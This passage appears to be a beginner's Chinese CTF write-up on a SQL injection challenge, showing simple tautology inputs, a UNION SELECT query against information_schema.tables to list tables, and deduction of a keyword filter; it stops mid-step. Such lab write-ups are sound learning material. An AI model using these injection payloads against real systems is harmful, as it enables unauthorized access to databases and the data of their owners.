慢慢开始做ctf吧。。
我的解题过程:
题目就是sql注入,先尝试简单的sql注入方式
一般的sql语句是:
sql = “SELECT * from - - - where 字段 = ’ - - -’ ;
常规注入:
‘=’
t’ or 1 = ‘1
t” or 1 = “1
输进去有了输出,但没有我们需要的flag
mysql中所有表都存在information_schema.tables,尝试获取所有表单,即
select table_name from information_schema.tables
尝试构造在输入中,合并两个select语句的字段是union
select * from table where ‘t’ union select table_name
from information_schema.tables where 1=’1’
当我把上述句子作为输入时,不报错,没结果。
我纳闷了一会,应该是有过滤的规则破坏了输入,题目也在问我到底过滤了什么???
测试用了一句输入
t’ union select table from tables where 1=’1
结果说’tables 1=’1’出错,这下知道了过滤了一些关键字如union、select、where、from。
试了半天。。输入